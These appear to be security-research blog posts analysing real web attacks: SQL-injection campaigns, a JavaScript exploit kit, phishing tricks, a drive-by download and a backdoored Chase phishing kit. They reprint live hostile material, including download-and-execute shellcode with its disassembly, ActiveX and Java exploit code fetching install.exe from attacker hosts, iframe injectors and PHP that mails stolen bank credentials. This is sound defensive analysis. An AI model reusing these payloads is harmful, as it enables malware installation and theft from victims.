Visualizing the data that I have collected reveals some interesting things. First, the injection campaigns are indeed massive. Here is a graph showing a small portion of the data I have. Blue circles represent domains that were victims of the attack. Orange circles represent domains that hosted the injected script, i.e., "injected domains".

Victim and injected domains in SQL injection attacks

Certain pages ended up being victim of a large number of injections. Here is a case with 29 injected script tags.

A victim of many injection attacks

Conversely, certain domains appear in a large number of injected tags. These are the super villains of the SQL injection campaigns (e.g., xprmn4u.info).

Finally, it is interesting to observe the structure of links between malicious domains. Here, orange circles are, as before, domains that appear in the injected script tags, while blue circles are "target domains", i.e., domains to which the browser is redirected to by the injected script.

For example, consider the node www.app52.com in the lower-left corner of the graph. At least a page was injected with a script tag pointing to a JavaScript script on www.app52.com. This script redirects through an iframe to a script on base48.com. Notice how certain domains (e.g., batch29.com, in the middle of the graph) are the target of many different redirections. Conversely, several injected domains (e.g., www.datajto.com) redirect to different targets. This is because the injected script contains different targets every time it is fetched.


JavaScript attack - part II

Last time, we have seen how malicious code is delivered to the browser during a web attack. We left with a script that targeted 4 different vulnerabilities, but we didn't look at what activity is actually performed during the attack. Here, we will look at the actual exploitation.

Let's meet the shellcode:

var YuL42y0W = unescape("%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030
%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c
%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b
%u79e8%u0000%u8b00%u47d7%u3f80%u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933
%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302
%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865
%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8
%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b
%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10
%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b
%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a
%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70
%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e
%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732
%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139
%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000");

It's easy to unescape the shellcode and generate the corresponding object code. It turns out that the shellcode is very elegant: it should work on different versions of Windows (9x and XP) and is independent of the position in memory of the various library and functions. The final goal of the code is to download a file from a specific URL and to execute it. Let's see how this is done.

First, the shellcode obtains the address of kernel32.dll. It uses the PEB-based technique first described by The Last Stage of Delirium:

  0000000E    mov eax,[fs:0x30]         ; get the PEB
  00000014    js 0x22<find_kernel32_9x>
find_kernel32_nt:
  00000016    mov eax,[eax+0xc]         ; get ptr to PEB_LDR_DATA
  00000019    mov esi,[eax+0x1c]        ; get 1st entry of InInitalizationOrderModuleList
  0000001C    lodsd
  0000001D    mov ebp,[eax+0x8]         ; get kernel32.dll base
  00000020    jmp short 0x2b
find_kernel32_9x:
  00000022    mov eax,[eax+0x34]
  00000025    lea eax,[eax+0x7c]
  00000028    mov ebp,[eax+0x3c]

Once the base address of kernel32.dll is known, it can be used to identify the address of useful functions exported in this DLL. To do so, the shellcode defines a routine, let's call it find_function, that walks the export name table of the given DLL and looks for a given function name. Instead of matching directly on the name of the function, the shellcode computes a simple hash of the name, and uses that to locate interesting functions. This is probably done to save some space and obfuscate the purposes of the code.

The find_function expects two parameters: the base address of the DLL (contained in the ebp register) and a pointer to the hash of the function to identify (in the edi register):

find_function:
  000000C4    push ecx  
  000000C5    push esi
  000000C6    mov esi,[ebp+0x3c]        ; get the PE header
  000000C9    mov esi,[esi+ebp+0x78]
  000000CD    add esi,ebp
  000000CF    push esi
  000000D0    mov esi,[esi+0x20]        ; get the export name table
  000000D3    add esi,ebp
  000000D5    xor ecx,ecx
  000000D7    dec ecx
hash_init:
  000000D8    inc ecx
  000000D9    lodsd
  000000DA    add eax,ebp
  000000DC    xor ebx,ebx               ; ebx stores the computed hash
hash_update:
  000000DE    movsx edx,byte [eax]
  000000E1    cmp dl,dh
  000000E3    jz 0xed<hash_done>
  000000E5    ror ebx,0xd
  000000E8    add ebx,edx
  000000EA    inc eax
  000000EB    jmp short 0xde<hash_update>
hash_done:
  000000ED    cmp ebx,[edi]             ; have we found the given hash?
  000000EF    jnz 0xd8<hash_init>
  000000F1    pop esi
  000000F2    mov ebx,[esi+0x24]
  000000F5    add ebx,ebp
  000000F7    mov cx,[ebx+ecx*2]
  000000FB    mov ebx,[esi+0x1c]
  000000FE    add ebx,ebp
  00000100    mov eax,[ebx+ecx*4]
  00000103    add eax,ebp
  00000105    stosd                     ; store the address in place of the hash
  00000106    pop esi
  00000107    pop ecx
  00000108    ret

The hash value is computed with simple ror and add operations. I use the following code to compute the hash of a function name:

unsigned int ror(unsigned int num, int places) {
    return (num >> places) | (num << (32 - places));
}

unsigned int get_hash(const char *name) {
    const char *ch;
    unsigned int hash = 0;

    for (ch = name; *ch; ch++) {
        hash = (ror(hash, 0xd) + *ch);
    }   

    return hash;
}

The hashes of the functions to locate are stored in a table at the end of the shellcode. With the above program and a list of all the functions in kernel32.dll (obtained from here), it is easy to indentify the name of the corresponding functions:

  0000010E      dd 0EC0E4E8Eh           ; LoadLibraryA (hash)
  00000112      dd 0E8AFE98h            ; WinExec (hash)
  00000116      dd 73E2D87Eh            ; ExitProcess (hash)
  0000011A      dd 5B8ACA33h            ; GetTempPathA (hash)
  0000011E      dd 702F1A36h            ; URLDownloadToFileA (hash)

At this point, the shellcode loads urlmon.dll and finds the function URLDownloadToFileA:

  00000037    push dword 0x6e6f
  0000003C    push dword 0x6d6c7275
  00000041    push esp
  00000042    call near [esi]           ; LoadLibraryA("urlmon")
  00000044    mov ebp,eax
  00000046    call 0xc4<find_function>  ; find_function(urlmon.dll, URLDownloadToFileA)

The shellcode then creates a temporary file (using the GetTempPathA function), downloads a file from http://adsitelo.com/cgi-bin/index.cgi?70e0fb55074f01200277e0ed580235955ee10238ae49dd 0000000000000000010 (using the URLDownloadToFileA function), executes the downloaded file (via WinExec), and finally exits (ExitProcess).

Not bad for what initially just looked like a long string in a JavaScript script...


JavaScript attack - part I

JavaScript-based attacks are getting more and more sophisticated, thanks probably to the use of exploit toolkits. Here is an example of a few days ago. The domain involved was adsitelo.com, which seems to have been involved in a round of SQL injection attacks.

As a start, it is interesting to note that the domain was (likely) fast-fluxed. Some of the IP addresses associated with it were 129.118.49.144, 150.254.2.155, 66.40.18.206, 70.244.115.171, 75.71.118.180, 79.94.146.249, 88.107.136.34, 99.234.157.198, and 99.246.193.180.

The initial step of the attack is a redirection: the page http://adsitelo.com/cgi-bin/index.cgi?ad redirects to http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000. Now, if you tried to directly download the landing page, you would be presented with a 500 error page. The real content, in fact, is reachable only under two conditions: the User-Agent identifies the browser as Internet Explorer or Firefox, and the Referer is correctly set. wget allows us to quickly work around these problems:

$ wget --connect-timeout=3 --user-agent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" \
--referer=http://adsitelo.com/cgi-bin/index.cgi?ad \
"http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000"

The downloaded document is a JavaScript page:

function X88MxUL0B(U1TaW1TwV, IyxC82Rbo){var c5kJu150o = 4294967296;
var s3KRUV5X6 = arguments.callee;s3KRUV5X6 = s3KRUV5X6.toString();
s3KRUV5X6 = s3KRUV5X6 + location.href;var s4wL1Rf57 = eval;
var SLpdE73p3 = s3KRUV5X6.replace(/\W/g, "");SLpdE73p3 = SLpdE73p3.toUpperCase();
...
var Cm6B7c5TS = 0;try {s4wL1Rf57(LR8yTdO7t);} catch(e) {Cm6B7c5TS = 1;}
try {if (Cm6B7c5TS) {window.location = "/";}} catch(e) {}}
X88MxUL0B('ACada193b99ca7a4667B9668b2A3876BBF705b7Ba96799A578A165687
...
7C6E69667B6c6E6d7c6B69947C676d9A7d6D676279665F5f81');

The script consists of two parts: a decryption routine (named X88MxUL0B) and the encrypted payload (the long string at the end of the script). There are two things to notice in the script:

  1. It uses the well-known arguments.callee.toString() function to prevent modification to the body of the decryption routine.
  2. The code uses the location.href property as part of the decryption key, so that analyses that don't set it correctly will not be able to reconstruct the malicious payload. Another interesting feature of the script is that, on successive requests, the payload was encrypted using different keys, so that it appeared different.

In any case, decrypting the payload is not difficult. I just prepend the following lines to the original script and pass it to Rhino:

location={href:'http://adsitelo.com/cgi-bin/index.cgi?ad'};
eval=print;

The first sets the location.href property as required, the second prints to the console all the strings passed to the eval function for evaluation. The result is... another obfuscated script, exactly similar to the one just decrypted. So, let's apply another round of decryption.

This time, we get a clear-text JavaScript script. The script sets a cookie (probably to show that exploitation is under way) and attempts to perform three attacks. The attacks seem to target vulnerabilities CVE-2006-5820, CVE-2007-5779, and CVE-2007-0015. The Firefox version of the malicious script contains only one attack, probably targeting CVE-2006-0005.

As an example, the code for one of these attacks is:

try {
    var AMOoik_m = new ActiveXObject("GomWebCtrl.GomManager.1");
    if (AMOoik_m) {
        Exhne69P();
        var Amce264J='';
        var dHSLlQxf = 506;

        for(var M13B4SOH=0;M13B4SOH<dHSLlQxf;M13B4SOH++)
            Amce264J += "A";

        Amce264J += unescape("%0c%0c%0c%0c");

        dU578_go(13);
        AMOoik_m.OpenURL(Amce264J);
    }
} catch(e) {
}

The function dU578_go sets a cookie. The function Exhne69P uses heap spray techniques to actually complete the exploit. But this is material for another post :-)


'tis the season (for some phishers)

Phishers do put a lot of effort into creating a successful phishing site. They register domains that look like the legitimate ones, set up fast-flux infrastructures, compromise vulnerable machines to deploy phishing kits, send lots of emails to attract victims.

However, sometimes phishers slip up. For example, deploying a Christmas-themed PayPal phishing site in June is, well, a giveaway...

Screenshot of PhishTank entry #463234 using a Christmas-themed
copy of PayPal

Happy holidays!


An old phishing trick

Certain old tricks just don't want to go away. By all standards, the fake address bar trick must be a classic. It consists of showing an image that looks like the browser's address bar at the top of the page, displaying a legitimate URL.

A recent reappearance of this trick occurred in PhishTank entry 459204. The phishing pages were hosted on lsarccc.com, but the fake address bar displays the more reassuring domain www.lloydstsb.com.

Screenshot of PhishTank entry #459204 using the fake address
bar trick

Welcome back...


Obfuscated phish

One interesting twist in phishing is the use of obfuscation to masquerade the real content of phishing pages. PhishTank entry 444100 was a good example of this new "evolution".

The main page of the phish replicates the login page of eBay. As is commonly done, the login form is handled by a PHP script on the vulnerable server. More interesting are the links to other resources, Consider, for example, the link to the page describing the policies of the targeted site. It also points at a local file, named k.html. However, k.html uses JavaScript to obfuscate its contents:

document.write(unescape("%3C%53%43%52%49...%50%54%3E"));
hp_d00(unescape("%3C%53%43%52...50%54%3E"));
hp_d00(unescape("%3C%48%45%41...%41%44%3E"));
hp_d00(unescape("%3C%42%4F%44...44%59%3E"));

It is trivial to revert the obfuscation and reveal the actual content:

<SCRIPT LANGUAGE="JavaScript"><!--
hp_ok=true;function hp_d00(s){if(!hp_ok)return;document.write(s)}
//--></SCRIPT>
<SCRIPT LANGUAGE="JavaScript"><!--
function hp_ne(){return true}onerror=hp_ne;
if(navigator.userAgent.indexOf('Opera')!=-1)
    window.location="about:blank";
//--></SCRIPT>
<HEAD><META HTTP-EQUIV="Pragma" CONTENT="No-Cache"><META NAME="Robots"
CONTENT="NoIndex"><META HTTP-EQUIV="Expires" CONTENT="-1"></HEAD>
<BODY><meta http-equiv="Refresh"
content="0;url=http://pages.ebay.com/help/policies/hub.html?ssPageName=f:f:US">
</BODY>

The generated HTML code redirects to the appropriate page on the legitimate eBay site. Note that, by using a refresh redirect (never mind that it should be in the head section of the file, rather than in the body), the phishing site clears the referer header and, thus, evades simple hotlinking analysis. At this point, it is not clear to me why the script handles opera differently. Suggestions?


MySpace hack

After hearing all kinds of stories about bad security at MySpace, I finally found a hacked profile. The profile, cyn7777, has now been cleaned up, so some parts of what follows will not work anymore.

The key of the attack were the following lines that were inserted in the profile's main page:

<a href="http://www.msplinks.com/MDFodHRwOi8vY29tLmNvbS9yZWRpcj9lZEl
kPTMmZGVzdFVybD1mdHA6Ly9taWNyb3NvZnBjZW50ZXI3MS5jbi9LQjg5MDgzMS5leG
U="><img
src="http://img341.imageshared.cn/.." style="position:absolute;
left:0px; top: 0px;" border="0"></a>

The code loaded an image similar to the following one and superimposed it to the page's contents. The actual image had 990x990 dimensions and transparent background, so, at first sight, the figure could be taken for a system's window: a classic picture-in-picture attack.

Screenshot of the fake removal tool window

Clicking anywhere on most of the page caused the browser to visit the base64-looking URL on msplinks.com. It turns out that back in April 2007 MySpace started to convert certain links to redirects through the msplinks.com site (check out the source of its index page :-)). The goal? "To easily turn off links to spam, phishing, or virus sites".

It looks like that didn't work too well... In fact, the link on msplinks.com (still) redirects to

(Incidentally, nice open redirector, cnet.com!)

The ftp site is still active and serves a bunch of exe files (all identical, except for their names). It seems the files have been changed in the last few days, probaby to evade detection from anti-virus tools. In any case, VirusTotal recognizes the old and the new version as some form of trojan/downloader. According to anubis, among other things, the binaries launch Internet Explorer and visit http://mycashloads.com/newuser.php?saff=373.0, which, however, redirects to yahoo.com.


Phish by SMS

And when you thought you knew all the tricks to detect phishing sites, had installed all the anti-phish browser plugins, and had developed a bunch of heuristics to identify phishing e-mails at first sight, they change the medium.

This morning I received the following SMS from 1010100001:

FRM:security@rabobankamerica.com
SUBJ:ALERT
MSG:Your Rabobank America account is closed due to unusual activity,
call us now at 8603830711.

Besides the obviously bogus source number, the fact that I don't have an account at Rabobank America was sort of a give away... The phone number turned out to be already disconnected, but I suspect I would have found a voice message asking for my credentials and other confidential information.

I think this is an interesting development. First, we are certainly less experienced at considering SMS content as suspicious. If you receive SMSs only from friends (and possibly the annoying advertisements from your carrier), you may think SMSs are trustworthy by default. Second, on cell phones, we may have less possibilities to check the authenticity of received messages: my (admittedly, very cheap and unsophisticated) phone has no anti-phish SMS plugin and no browser.

From the attacker's point of view, it would be interesting to see how they are paying for sending the messages. Compromised accounts on an SMS-sending web site? Stolen credit card? Other suggestions?


Phished and botted

It's not uncommon for attackers to exploit a vulnerable web server and use it for several different purposes: maximization of the return on investment, some might say. Case in point are three recent entries in PhishTank (439391, 439479, and 442568).

As the PhishTank reference says, these sites were used to host phishing pages. Nothing special here: the usual replicas of banking and governmental web sites. More interestingly, all the legitimate HTML pages on the sites were modified to include the following script tag:

<script src="http://216.214.109.45/private/xxx/xssshell.asp?v=336699"></script>

This code fetches a copy of the XSS Shell, a tool that essentially transforms the browser into a bot, controllable by the attacker through cross-site scripting (XSS) mechanisms. The tool, published at the end of 2006 as a proof-of-concept of XSS, comes with a useful set of predefined commands (e.g., start keylogging, get internal IP, launch DoS attack), is prepackaged with a nice administration interface, and has extensive documentation.

It turns out that the attacker hasn't fully read the xssshell instructions, in particular the part on installing the back-end database outside of the document root, with the effect that the database is publicly accessible... The database contains information about the victims of the tool and a log of the attacker's commands. After opening the database, a MS Access file readable with the MDB Tools, it is possible to reconstruct some of the attacker's activity.

Here are the highlights:


A look at the Storm codec campaign's fastflux

Kind of late, but better than never I guess :-)

At the beginning of the months, the Storm gang got quite some coverage by launching a new attack campaign, based, this time, on a codec theme. Essentially, the gang tries to convince people to install a piece of malware (apparently, a NUWAR/Storm variant), by using the common social engineering trick of a missing video codec.

An interesting detail about the campaign was that it used a fastflux domain name, i.e., supersameas.com. Let's take a look at its infrastructure.

On April 9, I started to query the supersameas name servers to harvest the IP addresses associated with the campaign. At each request, the name server would reply with one IP address with 0 TTL. I continued to query the server until it gave me for 30 consecutive times addresses that I had already seen. At that point, I switched to a new name server, and so on.

In total, I collected 1416 IP addresses from 405 ASes. For about 100 IPs, I could not get the corresponding AS, so what follows may be slightly skewed. The ASes with more than 20 addresses were:

In terms of geographical distribution, the affected ASes were in the following countries:

Starting on April 10 at 11:27:18 PST, I also monitored for a few days if the addresses used by the campaign were still up and running, and serving the malicious content of the campaign. The following figure shows how many sites were still compromised at intervals of one hour.

Hour-by-hour statistics about the number of live sites: 0:378,10:118,20:33,30:16,40:8,50:5,60:2,70:1,80:1

Notice that almost 75% of the hosts had already been taken down (or were otherwise unreachable) when I started the measurement. After about 12 hours, the number of live sites drops lower than 100; after other 12 hours, it is reduced by a factor of 5, down to just 21 sites. It finally reaches 1 site after some 67 hours and stays like that for at least other 3 days.


Anatomy of a drive-by download

Lately, there has been a lot of interest in drive-by downloads and at least a couple of very good studies on this phenomenon.

Here, I will discuss in details some of the more technical aspects of these attacks, using a specific case study. Note: the malicious page is now gone, but some of the other resources may still be up and running...

Redirections

The first step of the attack consists of redirecting the victim's browser to a number of "attack pages" that attempt to exploit various vulnerabilities and cause malware to be installed and run automatically. The redirection is typically done by injecting iframes in a page. Often, the injection is masqueraded by using a number of obfuscation techniques.

In our case, the injecting page contains two injections. The first injection uses the unescape function to cover its purpose:

document.writeln(unescape ('%3c%49%46%52%41%4d%45%20%6e%61%6d%65
%3d%63%38%33%33%36%35%65%35%64%37%61%61%20%73%72%63%3d%27%68%74%74
%70%3a%2f%2f%74%61%70%6b%69%2e%63%6e%2f%31%2e%68%74%6d%6c%3f%27%2b
%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d
%28%29%2a%33%30%32%39%35%29%2b%27%34%66%35%62%27%20%77%69%64%74%68
%3d%38%33%20%68%65%69%67%68%74%3d%33%36%35%20%73%74%79%6c%65%3d%27
%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%49%46%52%41%4d
%45%3e'));

Once decoded, the escaped string reads:


    <IFRAME name=c83365e5d7aa src='http://tapki.cn/1.html?' + 
    Math.round(Math.random()*30295)+'4f5b' width=83 height=365 
    style='display:none'></IFRAME>

The second injection uses a couple of different tricks: randomized variable and function names, and manual string decoding:

function BD37A78D25DEEF10B10A677B5F0(B9D5D6B429B3B9BD29A08C8){
return(parseInt(B9D5D6B429B3B9BD29A08C8,16));}function 
D5281A4C55A9736772D3539EA51(D6242D36DFD76213ED900E11FDA){function
C56A17251C947C7EF(){var D83D6CE95B0A38CD6F=2;return
D83D6CE95B0A38CD6F;}var D71C351C9A9105908A5D4D9624954="";for(
CEDB124A2EA9FE61EB10A584FE0E8=0;CEDB124A2EA9FE61EB10A584FE0E8&lt;
D6242D36DFD76213ED900E11FDA.length;CEDB124A2EA9FE61EB10A584FE0E8+=
C56A17251C947C7EF()){D71C351C9A9105908A5D4D9624954+=
(String.fromCharCode(BD37A78D25DEEF10B10A677B5F0(
D6242D36DFD76213ED900E11FDA.substr(CEDB124A2EA9FE61EB10A584FE0E8,
C56A17251C947C7EF()))));} document.write(D71C351C9A9105908A5D4D9624954);
}D5281A4C55A9736772D3539EA51("3C696672616D65207372633D687474703A2F2F
6164767464732E6661737466696E642E696E666F2F6164767464732F6F75742E7068
703F735F69643D32302077696474683D31206865696768743D31207374796C653D22
646973706C61793A6E6F6E65223E3C2F696672616D653E");

To quickly recover the code, I redefine the document object to print to the console (document={write:print}) and run the script in rhino:


    <iframe src=http://advtds.fastfind.info/advtds/out.php?s_id=20
    width=1 height=1 style="display:none"></iframe>

Exploits

A typical attack page contains a barrage of exploits targeting a variety of exploits in different versions of the browser, operating system, and other programs. As we will see, our case study is not an exception.

It turns out that the first iframe points at an empty page: it must have already been taken down.

The second iframe is more interesting: it spits out a 302 response to redirect to http://vipasotka.com/in.php (119.42.149.22), which, in turn, redirects to http://golnanosat.com/in.php (same IP address).

in.php is also variously scrambled, but the (now) usual deobfuscation step in rhino allows us to quickly make sense of it. This file generates another somewhat obfuscated JavaScript snippet. After some inspection and some googling, the script appears to be divided in two parts. The first part is essentially a JavaScript rewrite of metasploit's exploit for MS06-014: the code tries very hard to download (via XMLHttpRequest) the executable install.exe from http://golnanosat.com/adw_files/5010/8275793f/, to add it to the startup programs, and to run it. The exploit code is IE-specific and goes to great lengths to "support" a number of different Windows versions.

The second part brings a bag of Java tricks into the picture.


    <applet code=animan.class name=maniman height=1 width=1 MAYSCRIPT></applet>
    try {
        var unsafeclass=document.maniman.getClass().forName("sun.misc.Unsafe");
        var unsafemeth=unsafeclass.getMethod("getUnsafe",null);
        var unsafe=unsafemeth.invoke(unsafemeth,null);
        document.maniman.foobar(unsafe);
        var chenref=unsafe.defineClass("omfg",document.maniman.luokka,0,document.maniman.classSize);
        var chen=unsafe.allocateInstance(chenref);
        chen.setURLdl("http://golnanosat.com/adw_files/5010/8275793f/install.exe");
        chen.setUname("5010");
        chen.setCID("other");
    }catch(d){}

    <applet archive=OP.jar code=OP.class width=1 height=1 MAYSCRIPT>
        <param name=usid value=us0105>
        <param name=linkurl
        value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=3">
    </applet>

    <applet archive="ms03011.jar" code="MagicApplet.class" width=1  height=1>
        <param name="ModulePath" value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=4">
    </applet>

The first trick uses reflection and the internal sun.misc.unsafe class to dynamically create a class instance that bypasses the security restrictions of the Java VM: this seems an old bug that dates back to 2004. The second one is recognized by some anti-virus as Java/TrojanDownloader.OpenStream. The last trick looks like an exploit for another old bug (MS03-011) that affected the ByteCode Verifier of the Microsoft VM. In all cases, the goal is to download and execute the usual install.exe file.

Malware

The attack pages serve two binaries. VirusTotal reports mixed detection results: 13/32 and 8/32.

Discussions

I'll conclude the analysis with some quick considerations:


A tale of scam kits

A few days ago, the news spread that ready-to-go scam kits targeting banks and other sensitive web sites were available for download. Nothing new here except for the fact that the kits were given away for free.

The reason for such generosity? Will see in a moment.

I've got my hands on some of the kits and I've analyzed one of them. This analysis is relative to the Chase scam kit (others seem similar at first sight) retrieved on 31/3/2008.

The scam kit is a collection of php, html, css, and image files that provide a phishing web site for JP Morgan Chase online banking. The kit collects username, password and personal information, such as credit card numbers and social security numbers. The collected information is sent back to the scammer via e-mail. At first sight, all a scammer has to do is modify one file in the kit to set the appropriate e-mail address and attract traffic to the phishing page.

The reality is bit different: a larger pool of people seem to benefit from the scammer's efforts. In other words, scammers are getting scammed by more clever scammers.

Let's see how this happens.

Transmission code

The file Mr-Brain.php contains the code to ship to information back to the scammer. The code is:

 3: $message = ... // phished information
    ...
39:
38: $send="scammer_forlife@yahoo.com";
39:
40: $subject = "Chase Bank ReZulT | $user | $ip";
41: $headers = "From: Mr-Brain<new@chase.com>";
42: $str=array($send, $IP); foreach ($str as $send) {
43: if(mail($send,$subject,$message,$headers) != false){
44: mail($Send,$subject,$message,$headers);
45: mail($messege,$subject,$message,$headers);
46: }

mail() is a standard PHP function that send an e-mail message to the address specified in its first argument. Let's see how the kit uses this code to distribute information to a number of addresses other than scammer_forlife@yahoo.com.

Trick 1: mistyped variables

In Mr-Brain.php, the email message is composed as follows:

$hostname = gethostbyaddr($ip);
$message  = "---------------+ Chase Bank Spam ReZulT +-----------------\n";
$message .= "User ID : $user\n";
...
$messege .= "hostip";
$message .= "Full Name : $fullname\n";
...
$message .= "City : $city\n";
$messege .= "port";
$message .= "State : $state\n";
...
$message .= "Mother Maiden Name : $mmn\n";
$messege .= "@";
$message .= "Date of Birth : $bmonth/$bday/$byear\n";
...
$message .= "ATM PIN Code      : $pin\n";
$messege .= "g";
$message .= "Credit Card Number: $cardnumber\n";
...
$message .= "CVV Number       : $cvv\n";
$messege .= "mail";
$message .= "---------------------------------------------------\n";
...
$messege .= ".";
$message .= "Credit Card Number: $cardnumber\n";
...
$messege .= "com";
...
$message .= "----------------+ Created in 2008 By Mr-Brain +----------------\n";

Notice the mistyped $messege variable (instead of $message). Once reconstructed the variable forms the e-mail address hostipport@gmail.com. At line 45 it is used as the recipient of the mail function. The trick uses the fact that PHP automatically initializes undefined string variables (as $messege here) to the empty string.

Trick #2: case-sensitive PHP and code injection

Inside the foreach loop of line 42, the variable $Send (notice the capital letter) is different from the variable $send (all lowercase). How is $Send initialized? In details.php, a form contains the hidden parameter Send, whose value is set to:

<?=base64_decode("TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=");?>

which, once interpreted, gives the e-mail address Mr-Brain@Evil-Brain.Net.

Trick #3: obfuscation via pack()

The sending code loops over the contents of an array initialized with the variables $send and $IP. What is $IP? In prospect.php, the variable $IP is initialized to

pack("H*", substr($VARS=$erorr,strpos($VARS, "329")+3,46));

$erorr (again, misspelled to disguise it for the variable $error) contains the contents of the file login.php. The substr() function searches for 329 in login.php, finds it in the value argument of a hidden parameter, and extracts the following 46 characters:

70696f6e6565722e627261696e40676d61696c2e636f6d

These are then massaged through the function pack() to give yet another e-mail address: pioneer.brain@gmail.com

Trick #4: obfuscation via code in data and eval()

prospect.php contains the following interesting functions:

39: function clean($str){
40: $clean=create_function('$str','return '.gets("(1,",3,4).'($str);');
41: return $clean($str);
42: }
43: function getc($string){
44: return implode('', file($string));
45: }
46: function gets($a, $b, $c){
47: global $d; return substr(getc($d),strpos(getc($d),$a)+$b,$c);
48: }
49: function end_of_line(){
50: $end=gets("(2,",3,4); endline=$end(gets("(3,",3,2),getc(gets("(((",3,20)));
51: return $endline;
52: }
53: function geterrors(){
54: return clean(end_of_line());
55: }

The function geterrors() is called at the end of the file, right before error checking is performed. Let's see what these functions are doing:


    global $error;
    if("$error" != "1"){
        global $user;
        global $pass;
        global $fullname;
        global $address;
        global $city;
        global $state;
        global $zip;
        global $email;
        global $mmn;
        global $bmonth;
        global $bday;
        global $byear;
        global $ssn1;
        global $ssn2;
        global $ssn3;
        global $pin;
        global $cardnumber;
        global $expmonth;
        global $expyear;
        global $cvv;
    if (getenv(HTTP_CLIENT_IP)){
        $iP=getenv(HTTP_CLIENT_IP);
    } else {
        $iP=getenv(REMOTE_ADDR);
    }
    $hostname = gethostbyaddr($iP);
    $message  = "---------------  Chase Bank Spam ReZulT  -----------------\n";
    $message .= "User ID : $user\n";
    $message .= "Password : $pass\n\n";
    $message .= "Full Name : $fullname\n";
    $message .= "Address : $address\n";
    $message .= "City : $city\n";
    $message .= "State : $state\n";
    $message .= "Zip Code : $zip\n";
    $message .= "E-mail Address : $email\n\n";
    $message .= "Mother Maiden Name : $mmn\n";
    $message .= "Date of Birth : $bmonth/$bday/$byear\n";
    $message .= "Social Security No : $ssn1-$ssn2-$ssn3\n";
    $message .= "ATM PIN Code      : $pin\n";
    $message .= "Credit Card Number: $cardnumber\n";
    $message .= "Expiration Date   : $expmonth/$expyear [mm/yy]\n";
    $message .= "CVV Number       : $cvv\n";
    $message .= "---------------------------------------------------\n";
    $message .= "IP Address   : $iP\n";
    $message .= "HostName   : $hostname\n";
    $message .= "----------------  Created in 2008 By Mr-Brain  ----------------\n";
    $Brain="pamer@inbox.com,usa813@gmail.com";
    $subject = "Chase Bank ReZulT";
    $headers = "From: Mr-Brain<new@chase.com>";
    mail($Brain,$subject,$message,$headers);
    }